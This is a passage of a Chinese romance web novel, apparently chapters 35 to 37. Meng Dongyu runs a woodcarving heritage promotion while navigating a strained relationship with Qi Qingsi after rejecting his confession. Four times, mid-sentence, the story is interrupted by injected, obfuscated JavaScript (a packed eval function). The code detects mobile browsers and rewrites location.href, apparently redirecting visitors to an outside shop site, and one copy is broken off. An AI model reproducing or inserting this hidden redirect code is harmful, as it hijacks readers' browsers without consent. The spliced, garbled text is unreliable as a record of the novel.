一旁的工作人员还在等着帮她导资料。 孟冬愉没有理会那些同事们发来的消息,只给幻宙的负责人留了言—— 【抱歉,离职后换了新微信,刚看到消息。】 【不知道贵司有没有意向和非遗合作?如果有这方面想法的话,可以加我新微信详谈。】 旧手机的资料全部导入新手机,幻宙游戏的市场负责人也很快加了她。 孟冬愉同意了好友申请,对面很快发了消息过来:【姐妹,你总算回我了。】 【我们老板最近据说是失恋了,心情不好,很多合作到他那里都被否了。】 【我快要头秃死了,再这么下去,我年终估计要喝西北风。】 孟冬愉之前做过相关功课,幻宙的创始人是国内top学府北城大学计算机系的高材生。 大三时就创立了幻宙游戏,如今旗下各类型的手游都长期霸占游戏APP榜的榜首。 这种传奇人物的恋情八卦,孟冬愉还是第一次从他的员工口中听说。 孟冬愉有些好奇地回她:【裴总吗?】 对面接着吐槽:【还能有谁?他本来就出了名的严格,现在整天冷着张脸,大家更怕他了。】 没等孟冬愉回她,对面又接着补充,将来意说明:【你上次的策划案我们很多领导看了都赞不绝口,也是我司谈的这么多次合作中,唯一一次没被老板打回去再修改的,所以我就想着再找你碰碰运气。】 孟冬愉失笑,而后解释:【太抬举我了,都是职责内的事情。】 【如果贵司有意向和非遗合作的话,我过几天给你一个初步的方案,届时我们再细谈。】 - 酒吧内灯光昏暗。 驻场的民谣歌手唱着慢歌,将人的情绪调动着,缠绵、周旋、拉扯。 祁清肆一个人坐在吧台,垂眼盯着调酒师推来的鸡尾酒,神色黯然。 不一会儿,一位长发波浪、烈焰红唇的女人在他身旁坐下。 她随手点了杯酒,目的直白地找他搭讪:“帅哥,一个人吗?” 浓郁又甜腻的香水味促使祁清肆皱了皱眉,他与她拉开些距离,没搭腔。 女人弯着唇角笑了笑,似乎对他更感兴趣了一点:“一起喝一杯?” 祁清肆烦躁地冷着张脸吐出三个字:“没兴趣。” 女人撩了撩头发,有点越挫越勇的意思,只是接下来的话还没说出口,就被赶来的郑泽打断。 郑泽揽着祁清肆的肩膀,笑着解围:“不好意思啊小姐姐,我朋友社恐,见到美女就害羞。” 女人接过调酒师递来的酒,轻轻碰了下祁清肆的酒杯:“多熟悉熟悉就不社恐了嘛,要不加个联系方式,以后一起来玩。” “女朋友不让。”祁清肆起身,将郑泽的胳膊拍掉,换了个位子。 “早说啊。”女人面上没有任何异样,依旧笑得花枝乱颤。 她抬眼打量了郑泽几眼,又换了目标:“那这位帅哥,我们加个联系方式?” 郑泽挑眉,十分绅士地掏出了手机:“我的荣幸。” 两人周旋许久,郑泽才回到祁清肆身旁:“怎么了,祁老板,突然打电话喊我过来?” “你要知道,以少爷我现在的身价,找我喝酒可是要排队的。” 祁清肆新点了杯酒,嗤笑:“没孟冬愉,你现在早滚回北城了。” “诶,我也没说不感谢冬愉学姐。”郑泽也不恼,接着去调侃他,“不过,她的功劳,和你也没关系吧?” “喜欢人家,总不能把人家的功劳也据为己有啊。” 祁清肆被气笑,轻哼一声,作势就要走:“我真是脑子被门夹了,才会喊你过来找气受。” “别啊,酒还没喝呢。”郑泽顺势将他拦下,又在他身旁坐下,“说吧,找我来有什么事儿?” 祁清肆反问:“没事儿就不能找你?” 郑泽“啧”了一声,明显地不信他的话:“你心思都在冬愉学姐身上,没事儿会有闲心来找我?” 祁清肆灌了口酒,没再搭腔。 “女朋友不让?”郑泽重复刚才祁清肆拒绝人时的借口,打量了他几眼,又咂摸了一下,“我看你这状态也不像是有女朋友。” “和冬愉学姐什么进度了?” 祁清肆手指捏着杯柄,拳峰处的伤口还有些隐隐作痛。 昨晚她拉着他手,给他涂药的场景还历历在目。 他自以为明确了她的心意,自以为她不再排斥他,所以才在冲动之下坦白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223130|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了内心的想法。 可是她就像只蜗牛一样,每次都只是伸出触角试探一下,又快速缩回去。 让他对她的期待,一次次落空。 祁清肆垂眼,拇指重重地摁了下伤口。 猛烈的痛感袭来,他垂丧着头扯了扯唇角:“再心软我就是狗。” 郑泽虽然没明白他在讲什么,但是快速接了话:“狗才最心软。” 民谣歌手还在用烟嗓唱着歌,唱着心酸但又不舍的情与爱。 真的舍得放弃吗? 祁清肆掀起眼皮看了他一眼,忽的笑了。 郑泽更加不明所以:“到底怎么了?” 祁清肆盯着酒杯中晃荡的液体,许久后才带着点哑意出声:“表白被拒了。” “哟,情场失意?爱而不得?”郑泽话里带着点幸灾乐祸,看着他状态明显不太对,又连忙改了口,“不是,祁清肆,冬愉学姐是讨喜,但你们才认识几天?你也不至于陷这么深吧?” 祁清肆把杯中最后一口酒喝掉,才缓缓开口:“认识很久了。” “很久?”郑泽有些惊讶,“你不是一见钟情或者见色起意吗?” 祁清肆:“不是。” “蓄谋已久?”郑泽怔愣了片刻,而后想到了什么似的,音调都不自觉抬高了几分,“你别和我说你大学时就暗恋她。” 郑泽一副不可置信地模样:“不是,你顶着这张脸搞暗恋?” 祁清肆否认:“没有。” “没有。”郑泽撇了撇嘴,“我信你个鬼。” “所以到底怎么回事儿?” …… 孟冬愉和幻宙的负责人聊完,拎着工作人员递来的袋子出门时,天已经黑了。 吃完晚饭又去祁振强那里帮了会儿忙,闭店时,祁振强才开口问她:“医生怎么说?” 孟冬愉擦拭着桌面,一时间没反应过来:“啊?” 祁振强清了清嗓子,语气带着点不自然的关心:“那小子说你身体不舒服,要带你去看医生,结果怎么样?” 原来他是这么和祁振强说的。 旧事重提,孟冬愉攥紧手中的抹布,抿唇道:“还好。” “那就行。”祁振强点头,为他方才的关心找补,“到时候别说是跟着我学艺才累坏了身体。” 孟冬愉摇头:“不会。” 回到满汀洲的时候,祁清肆正在院子里躺椅上坐着。 见她回来,他有些慌张地起身,而后开口:“药煎好了,在厨房。” 她回来这么晚,就是想要避开他。 不曾想,他竟然特意在等她。 心脏像被什么揪了一下,孟冬愉努力地扬起唇角,礼貌地道谢:“不用了,谢谢。” 话说完,她垂头,加快脚步逃避似的与他擦肩而过。 祁清肆捉住她的手腕,态度强硬:“孟冬愉,别拿自己的身体开玩笑。” 孟冬愉扭了下胳膊却没挣脱开,她回头辩驳:“我没事,而且我自己的身体自己清楚。” “清楚?”祁清肆语调里染上一丝薄怒,一字一句地问她,“痛到大半夜起床找药吃,叫没事儿?” 没有人在乎她的疼痛,时间一过,就连她自己都忘掉了,只有他偏偏替她记得。 眼眶开始泛酸,无尽的委屈浮上心头,孟冬愉咬着嘴唇,没再讲话。 祁清肆语气放缓:“都说了不用躲我,我不会死缠烂打。” 人一旦被偏爱,就会无止尽地想要索取更多。 可是没有人会永远对一个人好,疼痛才能使人清醒。 孟冬愉将眼泪抹掉,抬头冷眼瞧他:“那你现在又在做什么?” 35. 弄哭 小院里的灯光并不亮。 直到孟冬愉抬起头,祁清肆才看清楚她的脸。 柔美精致,如同月光般皎皎无瑕。 还是那张他看了很多遍,却依旧觉得惊心动魄的脸。 平日里她脸上神态或嗔怒或漠然,偶尔浅浅一笑,漂亮得让人挪不开眼。 也不怪郑泽会觉得他是见色起意。 这些天,她的眼睛时常会看向他。 有时候是冷漠的,有时候是嫌弃的,有时候是无奈的,有时候是慌张的,也有时候是带着点笑意的。 但是此刻看向他的这双眼睛,眼睫微颤,眼圈泛红,眼眶中的晶亮的液体一点点积蓄。 明明是在冷眼看他,却让他的眼眶跟着泛酸。 先前溢出来的泪珠已经被她擦掉,可是她只需再眨一眨眼,就会有新的眼泪涌出。 意识到她在哭,祁清肆一瞬间慌了神。 他松开她的手腕,抬手想去碰她的眼睛:“孟冬愉,你别哭。” 刚碰到她湿漉漉的睫毛,就被她倔强地偏头躲开。 手指上残留的湿热让他有些不知所措。 祁清肆快速在脑海中回忆了一遍方才他说过的话,将把她弄哭的原因归结为他态度不好。 他有些手足无措地向她道歉:“对不起,我不该生气。” 见她不应声,他接着去找自身的原因,语调迫切又带着点小心翼翼:“不喜欢我碰你,还是觉得我没分寸?” “孟冬愉,我哪里做的不对,你和我讲。” 他没有哪里做得不对,只是对她太好了。 好到让她回忆起之前的独自忍受下来的种种,会觉得委屈。 可他越是这样,孟冬愉就越是难过。 明明都闹到这种地步了,明明她态度已经这么明显了,为什么还那么在乎她,还要对她好? 眼眶中的液体早已模糊了视线,心底的酸涩涌入喉咙,又涌上鼻尖。 孟冬愉闭了闭眼,积蓄已久的泪水顺着眼睫簌簌落下。 祁清肆见状再次慌张地抬手,声音也带着点哽咽:“孟冬愉,你别哭好不好。” 孟冬愉后退一步,再次将眼泪抹掉,而后蹙着眉冷冷地开口:“能不能离我远一点,你真的很烦。” 闻言,祁清肆想要帮她擦眼泪的手顿在半空中,眼眶一瞬间变红。 他盯着她,话在喉咙处哽了好久,才绝望般问道:“就那么讨厌我吗?” 孟冬愉这次没有任何停顿:“是。” 得到了答案,祁清肆像是卸了力气般将手垂下去,高大的身形站在月色中显得格外落寞。 南江的桂花已经有了要开的迹象,院子里隐隐有香味浮动。 孟冬愉蓦地又想起初见那天。 那个站在桂花树下,肆意张扬的少年,怎么就因为她变成了如今这幅模样? 孟冬愉攥紧手指:“抱歉,这两天我会找到房子尽快搬走。” “不用。”祁清肆扯了扯唇角,却看不出一丝笑意,“如果你不想再看到我,我会离你远远的。” 话说完,他将帽子扣在头上,垂着头径直出了满汀洲的大门。 - 孟冬愉最终没去喝祁清肆煎好的中药。 第二天傍晚,胡杭拎着一大袋药店代煎的中药包去了祁振强的木雕店。 他当着祁振强的面要孟冬愉收下,并声称花了钱的,不喝就浪费了。 孟冬愉知道是祁清肆的意思。 只是他们的事情到这里也该结束了,不能再把胡杭和祁振强掺和进来,于是她识趣地没再僵持下去。 她给胡杭转了账,收下了那一大袋中药放进了冰箱。 接下来的好些天,祁清肆像是特意要避开她似的,没在她面前露过一次脸。 孟冬愉依旧每天早出晚归,全身心投入到手工木雕的事业中。 手工体验活动的策划案做好后,孟冬愉和温承卿对了一下具体的细节,而后由温承卿牵头,联系了南江的各家木雕手工业者。 郑泽如今算是南江文旅局那边的红人,为了扩大这次活动的声量,孟冬愉找了郑泽牵线搭桥,再次联系上了南江文旅。 递上去的策划案细致周到,顾及到了方方面面。 南江文旅那边看了之后觉得可行性很高,于是又上报到更高层的领导。 这种有利于南江非遗事业和旅游业发展的事情,最后得到了南江政府的极度重视和大力支持。 他们免费提供了活动场地,而且号召了南江的各种官方自媒体,大肆宣传。 孟冬愉把控全流程,温承卿牵头露面,官方站台。 一切有条不紊。 这场活动举办得盛大而隆重。 活动当天,吸引了数以万计的游客前来参加。 全网一时间掀起了全民学木雕的热潮。 南江的木雕业因此次活动一炮而红。 南江政府也趁此热度,将“手工木雕看南江”的名声打了出去。 忙碌起来的日子总是过得飞快。 就连本该团圆的中秋节,也在这场声势浩大的活动中,如同普通的日子一样,一晃而过。 童父在中秋那几天生了场病,童欣瑶最后也没按照原来的计划再回满汀洲。 本来说好的下次见,却不知道下个下次是什么时候。 孟冬愉依旧在那天,给好像永远不会有回音的小姨,发了节日祝福。 然后坐在窗前明月下,望着屏幕上已发送的字样,发了很久的呆。 与这个特殊节日一起过去的,还有每月必须经历一次的疼痛。 生理上的疼痛和心理上的疼痛与上个月一样,一起来又一起离开。 只是这次不知道是不是前几天的中药起了作用,生理上的疼痛倒没有了往月那么难忍。 午夜梦醒时,孟冬愉心底却格外想念红糖姜枣茶的味道。 官方出手,这场手工活动可以说是高开暴走,后续的影响力还在持续攀升。 木雕的订单需求激增,原本已经转行或者正打算转行的木雕手工业者再度就业。 孟冬愉虽然全程都在幕后,但是关于她的传说,短短半个月的时间,已经在南江手工业者中广为流传。 不少人都慕名而来,想见一见她的庐山真面目。 结果都被祁振强一个个给轰走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244847|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>南江各家木雕店都有了业务,温承卿和他的两个师弟也被安松柏喊了回去。 祁振强也趁此机会收了好几个资质不错的学徒。 几个师弟师妹聪明又机敏,木雕店比往日更热闹了一点。 明明一切都在往好的方向发展,可孟冬愉总觉得少了点什么,日子好像过得寡淡又无趣。 木犀巷的桂花终于在九月底尽数开放,空气中处处都是甜腻的桂花香。 胡杭丝毫没忘记先前的承诺,拎着新鲜出炉的桂花糕,风风火火地去了祁振强的木雕店。 祁振强收了四个新学徒,三男一女,木雕店里间的工作台实在挤不下。 于是祁振强在店内收拾了一块地方出来,当做教学场所兼新人的工作台。 胡杭进店的时候,祁振强正在教学。 于是胡杭轻手轻脚地掠过他们一群人,径直去了里间。 他把其中两盒桂花糕放到了祁振强的座位上,而后拿着另外一盒单独递给孟冬愉,迫不及待地开口:“冬愉姐,你快尝尝。” 孟冬愉心思全在雕刻上,被他突如其来的声音吓得一抖。 雕刻刀径直戳破了手套,戳到了手指上。 没等红色的血迹浸染开来,孟冬愉快速摘下手套,找了块创口贴黏了上去。 目睹了她眼疾手快地处理好这一切,胡杭才反过来她受了伤。 他有些愧疚地道歉:“不好意思啊冬愉姐,我不知道你这么专注,声音大了点。” 孟冬愉抿唇摇了摇头:“没事,小伤。” 胡杭松了口气,扬了扬手中的糕点,继续推销:“南江一绝的桂花糕,吃了绝对念念不忘。” 孟冬愉拍掉身上的木屑,接了过来,而后礼貌地道谢。 “太客气了。”胡杭摆了摆手,而后又挠了挠头,小声嘀咕了一句,“怎么感觉最近你和肆哥心情都不怎么好的样子?” 时隔大半个月,再次听到有人提起祁清肆,孟冬愉心脏猛地一紧,下意识问道:“他最近怎么样?” “肆哥吗?”胡杭偏头,确认了一下孟冬愉口中的他指的是谁,而后才回应,“他最近一直在工作室那边待着,不知道在忙什么。” 话说完,胡杭又将话题绕回到桂花糕上,坚持要孟冬愉现在就尝尝。 刚好也有些饿了,孟冬愉洗了手,从盒子中捏起一块糕点咬了一口。 桂花糕绵密松软,入口即化,唇齿间都萦绕着淡淡的桂花清香。 确实如同胡杭说的那样,称得上南江一绝。 孟冬愉忽然间就想起和他们初次吃饭时,胡杭和祁清肆之间的明争暗抢。 唇角不自觉上扬了一瞬,才后知后觉地意识到不对。 可是回忆像是突然开了闸一样,无数个瞬间开始往脑海里涌。 这些天强行压下去的情绪,在这一瞬间全部崩盘。 一丝丝酸涩从四面八方汇聚而来,在心底如同惊涛骇浪般翻滚。 鼻尖泛酸,酸胀感又充斥着眼眶。 不该有的念头在此刻浮现。 像是长久弥漫在南江空气中的桂花香气一样,浓烈而又挥之不去。 她想见他。 36. 思念 思念萌发,而后如同野草般疯狂生长。 然而残存的理智却提醒她。 不该这样。 冲动与理智交锋。 孟冬愉捏着咬了一半的桂花糕,一时间不知道该怎么处理这翻涌的情绪。 胡杭见状晃了晃手,有些疑惑地问道:“冬愉姐,你怎么了?” 思绪被人唤回,眼眶还在泛酸。 孟冬愉避开他的视线,拿起水杯找了个借口:“没事,我去接杯水。” 胡杭的心思全在糕点上,他看了眼她放到桌面上的半块桂花糕,接着追问:“是觉得不好吃吗?还是太噎了?” “很好吃。”伴随着饮水机哗啦啦的水声,孟冬愉背对着他应声解释,“我只是太久没喝水了,觉得有点干。” 得到了中肯的评价,胡杭满意地点了点头,没再过多追问:“那行,你慢慢吃,我去肆哥那里一趟。” 再次从胡杭口中听到他的名字,孟冬愉拿着水杯的手不自觉抖了一下。 温开水从杯中溢出,淋到手上,打湿了方才贴上去的创口贴。 胡杭话说完,就直接转身出了门,只留下孟冬愉盯着被水浸湿的伤口发呆。 心绪如同一团乱麻,丝丝缕缕地缠绕,她理不清楚自己究竟在抗拒什么,又在害怕什么。 不够洒脱,也不够坦荡。 伤口的血早已止住,发白的皮肉沾了水有些刺痛。 孟冬愉叹了口气,拿了块新的创口贴贴了上去,再次掩盖掉伤痕。 手机的提示音忽地响起。 是微博平台的一条推送通知。 【特别关注@载酒:我上传了一首新歌,快来……>>详情】 孟冬愉有些惊喜地点进去,还没来得及顺着链接跳转到音乐平台。 就先看到了乱成一团的评论区。 载酒时隔两年,再出新歌。 这次的歌没有和任何歌手合作,也没有进行任何宣发,而是直接将录好音源上传到了音乐平台。 整整四分钟的歌曲,除了歌词和伴奏以外,无人声演唱。 歌曲名叫《凛冬》。 起初大家都认为是传错了,评论区都在催他赶快撤回。 眼看着等了许久,都不见动静,才纷纷意识到这就是最终版本。 载酒往日的歌无论是填词还是作曲,大多无关风月,都是以家国情怀、初心壮志、人生态度等为主题。 但是这次的歌曲却是在写情爱。 歌曲前半部分曲风欢快悠扬。 像是青春洋溢的一群少年走在夏日的林荫小道上,目光偷偷落在喜欢的人身上,青涩又怦然心动。 歌曲在高潮处急转直下,变得沉闷而压抑。 像是声嘶力竭之后,想触碰又缩回去的手,像是分隔两地,痛苦地忍耐着思念折磨。 歌曲后半部分的心境,孟冬愉莫名觉得感同身受。 曲调在耳中回荡,鼻尖会不自觉跟着泛酸。 愉悦起始、颓丧告终,转变处的衔接流畅自然。 若是有人演唱,估计又是一篇传唱度很广的歌。 但是广大网友们并不这么认为。 他们觉得这首歌放在载酒以往的其他作品中,主题过于俗气。 再加上就这么上传了一个令人费解的“半成品”出来,倒是有些坐实了他“江郎才尽”的传言。 眼看着网络上的嘲讽的声音愈演愈烈。 孟冬愉点开了载酒的微博私信,在输入框中敲敲打打了许多字,最后只留下一句话。 【哥,新歌很好听,不要在意网络上的那些评价。】 消息发送,孟冬愉将手机息屏,而后戴上手套继续去雕刻未完成的木雕作品。 片刻后,手机提示音再次响起。 孟冬愉捞过去看了眼,载酒回了她一个地址。 【弯月湖路44号“四”音乐工作室。】 应该是他的新工作室。 孟冬愉看着这个地址先是心下一惊,而后开始怀疑他是不是发错了人。 聊天框显示对面还在输入中。 许久之后,下一条才发送过来。 【孟冬愉,我们见一面吧。】 看着屏幕上出现的这行字,孟冬愉整颗心都提了起来,血液上涌,脑子一时间有些懵。 见一面? 是要和她见一面吗? 虽然把他当作偶像,也确实好奇让他创作出那么多优秀作品的工作室是什么样子的。 但是粉丝和偶像私下见面,有点不太好…… 更何况,他一个有家室的人,约一个异性粉丝见面,怎么听都不妥当。 刚想着要怎么拒绝,孟冬愉忽然间又意识到另外一件事情。 他知道她的名字。 这应该也意味着她之前当备忘录发给他的那些日常,他都看到了。 这让孟冬愉更加感到心虚和羞耻。 她犹豫了片刻,最终找个冠冕堂皇的理由试图去拒绝掉。 【最近有点忙,等下次有机会我和一个特别喜欢您的朋友一起过去,可以吗?】 这次的消息发送,对方却没了回音。 突如其来的插曲,打断了先前那些乱七八糟的情绪。 孟冬愉也没再多想什么,继续去打磨手头上快要成型的木雕。 如同往日一样,闭店后回到满汀洲。 时隔将近一个月,孟冬愉再次在院内的那棵桂花树下,看到了祁清肆。 他还是惯有的一身黑,冲锋衣的拉链拉到了顶,领口遮挡了下半张脸。 沉黑的眼睛看向她,眸光晦暗。 孟冬愉脚步顿在原地,手指蜷缩又收紧,心脏仿佛被什么揪着,喘不过气来。 视线在空气中无声相撞,祁清肆将头垂下,从她身边走过。 擦肩时,他的衣物布料和她的风衣摩擦,窸窣作响。 孟冬愉下意识屏住呼吸,握紧的拳头松开,想去拉他的衣服,但是指尖碰到他手臂的那一刻,又慢慢收回。 傍晚时下了场雨,金灿灿的桂花经历风吹雨打,落得满地都是。 熟悉又安心的檀木香混杂着桂花的香气涌入鼻腔,又转瞬即逝。 孟冬愉吸了吸鼻子,垂眼盯着黏在地面上的桂花,再次向前迈开了脚步。 抬脚刚踏上鹅卵石小路上时,长久没听过却又极为耳熟的声音从身后响起。 “孟冬愉。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252877|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祁清肆喊了她的名字。 和以往很多次喊她的名字一样,声音像是在拉动一把质地上等的大提琴,让人听了心尖莫名发颤。 孟冬愉脚步再次顿住,而后缓缓回头。 院子外的路灯透过斑驳的树影洒落进来,忽明忽暗地落在他的脸上。 没等孟冬愉应声,他看向她,再次开口:“我做不到。” 他做不到不去死缠烂打,做不到躲她躲得远远的,做不到心平气和地与她擦肩而过。 他想见她,想听她和他讲话,想和她能有一点、或者再多一点的肢体接触。 这些天,看着她站在台前幕后闪闪发光,他无数次骄傲地扬起唇角。 但是看着她和温承卿、和胡杭、和郑泽、和那些师弟师妹们谈笑风生,他羡慕又嫉妒。 他不知道该用什么借口去冠冕堂皇地和她见一面。 又怕就算见到了,他会在什么地方失了分寸,让她更讨厌他。 这些天,他也在慌乱且不知所措。 她会越来越好,也会遇到更多心甘情愿围绕在她身边的人。 也会有人像她的前男友一样,使点什么迷魂术,就让她乖乖就范,而后再次受伤。 听到胡杭说她手指受伤又看起来心情不好的时候,他忽然间就产生了一种不管不顾的念头。 他今天得见她一面。 哪怕她会更讨厌他,哪怕她会把他推得更远。 孟冬愉并没有听明白他话里的意思,她转过身来,攥紧手指问道:“什么?” 祁清肆像是下定了什么决心一般,快步向她走来,在离她两步左右的距离停下。 他垂眼盯着她,语调带着点小心翼翼地乞求:“能不能……当作什么都没发生过?” “别躲我,也别让我躲你。” 心脏猛地收紧,孟冬愉呆怔在原地,一时间不知道该作何反应。 当做什么都没发生过吗? 这些天,她无数次幻想过如果那天她不继续追问下去该多好。 就那么稀里糊涂以朋友的名义相处下去,然后自私一点,理所当然地去接受他给予她的那些温暖。 可是他将已经自己的心思袒露给她看,她就不可能当做什么都没发生过。 他是一个很好的人,她接受了他对她的好,却给不了他想要的回报,这对他不公平。 孟冬愉抿了抿唇角,话到嘴边却又不知道该说些什么:“抱歉,我……” 见她并没有想象中的排斥,也似乎看出了她心中所想,祁清肆离她更近了一步,迫切地补充:“孟冬愉,我自愿的。” “我不需要你对我做任何违心的回应。” 心底乱得厉害,孟冬愉在慌乱中再次对上他的视线。 他的目光真挚而决绝,仿佛无论她是否同意,他接下来都会这么做。 掌心被指甲压得生疼,孟冬愉将攥紧的手指松了松,依旧不知道该怎么讲:“我不知道……” 她不知道要怎么处理这段关系,不知道接下来该怎么面对他。 祁清肆依旧盯着她看,再次猜透她心中所想:“你就当我对你没意思。” “就像你对胡杭或者对郑泽那样对我。” 37. 沉默 秋夜的晚风乍起,吹得孟冬愉眼眶发酸。 她别开脸去,望向不远处哗啦作响的水池。 喷泉的水柱升入高空又砸进水里,在水面上溅起一层又一层水花。 如同她此刻的心境一样。 乱得一塌糊涂。 祁清肆的那些话像是带着巨大诱惑力的漩涡,让她不自觉想要沉溺其中。 可是她又莫名对这漩涡感到恐惧。 孟冬愉张了张口,突然觉得自己此刻的表达力空前匮乏。 而祁清肆还在原地站着,小心翼翼地观察着她的神色,等着她的答案。 长久不讲话,喉咙也有些发干。 孟冬愉咽了下口水,看着水池中溅起的水花,抿唇道:“给我点时间。” 可能是见她没再抗拒,祁清肆整个人仿佛松了一口气。 他垂头轻笑,再抬眼时眼尾却在泛红:“好。” 沉默再度袭来。 心底异样的别扭感促使孟冬愉想要逃避。 她指了指客厅的方向,装作不以为意的模样,试图结束话题:“那我先进去了。” 没等他应声,她就快速转身,可是长久累积的思念又让她挪不动脚步。 她本能地希望他能喊住她,好让她有借口再和他多待一会儿。 “孟冬愉。” 像她隐隐期待的那样,祁清肆再次喊住了她。 他抬手想要去抓她的手腕,只是手指触碰到她皮肤的那一刻,又收了回来。 孟冬愉再次回头,努力一种很平淡又正常的口吻去问他:“还有什么事情吗?” 祁清肆看着她,停顿了好一会儿,才把请求问出口:“能不能……陪我坐一会儿?” 话说出口,可能又觉得不妥,他扯起唇角笑了笑,又将方才的话给否掉:“没事儿,不早了,早点休……” 没等他第二句话说完,孟冬愉转过身来,看着他点头:“好。” 可能是以为她在回应他的后半段话,祁清肆脸上的失落一闪而过。 “进去吧。”他下巴点了点她身后的小路,语调染着丝许不舍,“晚安。” 孟冬愉叹了口气,问道:“去哪里坐?” 闻言,祁清肆眸光亮了亮,笑意快速攀入眼睛。 但是下一秒,整个人似乎又在为没有想好坐哪里而苦恼。 南江没什么夜生活。 晚上十点多钟,外面的茶馆咖啡店都已经关了门。 满汀洲的小院露天,傍晚的那场雨把院子里能坐的地方都给淋湿了。 客厅的沙发上侧排而坐,没了院子里的风声和水声,周围安静得落针可闻。 沙发上的两人,一个试图装作无事发生,一个依旧小心翼翼。 片刻后,祁清肆终于开口:“为什么心情不好?” 安静的氛围突然被打破,孟冬愉一时间没反过来:“啊?” 祁清肆视线落在她的脸上,解释道:“胡杭说你最近看着不太开心。” 孟冬愉再次想起午后胡杭说过的话,而后又想起突然产生的想见他的念头。 她再次攥紧手指,试图否认:“没有。” 祁清肆盯着她看了一会儿,没再继续追问,只是垂头扯了下唇角:“我也不开心。” “也”字足以说明他不信她的否认。 孟冬愉却不知道要怎么解释,更不知道该怎么回应他。 没等着孟冬愉应声,祁清肆又换了话题:“那些中药有效果吗?” 孟冬愉反应片刻,而后点头:“嗯。” 话音落,两人再度沉默。 许久之后,祁清肆叹了口气:“孟冬愉,能不能多和我讲几句话?” 孟冬愉下意识问道:“讲什么?” 祁清肆看着她:“什么都行。” 只要是她在讲话,他都愿意听。 他目光灼灼,还带着一丝渴求,孟冬愉心底不自觉发软。 可是她不知道还能讲些什么。 她躲开他的视线,抿了抿唇角,没吱声。 面对他的靠近,她还是没办法当作什么都没发生过。 方才攥紧手指留下的压痕还在隐隐作痛,孟冬愉抬手揉了下掌心,又开始有些后悔同意陪他坐一会儿。 祁清肆随着她的动作,将视线从她的脸上移到她的手上,再次问道:“手怎么样?” 思绪还停留在他让她多讲些话的事情上,孟冬愉闻言愣了一下:“什么?” 祁清肆解释:“胡杭说你手受了伤。” 又是胡杭说的。 她甚至有些怀疑,这些天胡杭往祁振强的木雕店跑得这么勤,都是祁清肆的指示。 孟冬愉揉了揉眉心,用了同样的说辞:“小伤,没事。” 祁清肆的视线依旧锁定在她的手指上。 他下意识地朝她伸了伸手,意识到什么之后,又缩了回来:“涂药了吗?” 孟冬愉摇了摇头。 只是一个小小的刀口,创口贴贴个几天就愈合了。 没到需要涂药的程度,也没必要小题大做。 祁清肆见状从沙发起身,径直就往储物间方向走:“我去找药。” 孟冬愉扬声试图去阻拦:“不用。” 话音刚落,祁清肆就已经出了门。 像是生怕她会跑了似的,几分钟后,他直接拎着整个医药箱再次回来。 从医药箱里将需要的瓶瓶罐罐拿出来,他蹲在她身侧,示意她伸出手来:“给我看看。” 茶几与沙发的距离不宽,他整个人蹲下身来,挡住了一道出口。 为本就逼仄的空间,平添了些压迫感。 孟冬愉身体向后倾,执拗地摇头:“真不用。” 祁清肆抬眼盯着她问:“为什么?” 什么为什么? 孟冬愉没明白他到底在问些什么,但还是给了他一个理由:“就一个小伤口。” 祁清肆重复刚才的问题:“我是问,为什么总是忍着?” 没料到他会这么问,孟冬愉顿了一下。 祁清肆眼睛中带着几分她看不懂的情绪,一字一句地接着说:“明明去看医生,或者涂药,会好得更快些。” “明明有很多方法可以缓解疼痛,为什么总是先选择去忍一忍?” 被他问得答不上话来,任何的辩解都好像格外苍白无力。 孟冬愉垂下头去捏了捏掌心,选择不去回应。 祁清肆语调染上一丝无奈:“孟冬愉,就不能对自己好一点儿?” 孟冬愉忽然想起,上次她因饮食不规律而胃痛时,他也说过这句话。 只是当时他没头没尾地突然开了口,她当时并没理解话里的意思。 对自己好一点儿。 她其实已经很努力在对自己好了。 祁清肆起身活动下有些发麻的脚,再次在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272697|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧蹲下,回到了原来的话题:“手给我看看。” 孟冬愉迟疑了片刻,最终还是抬了抬手,将受伤的手指伸了过去。 祁清肆的目光在她的手腕上逡巡片刻,又仰头询问:“可以握吗?” 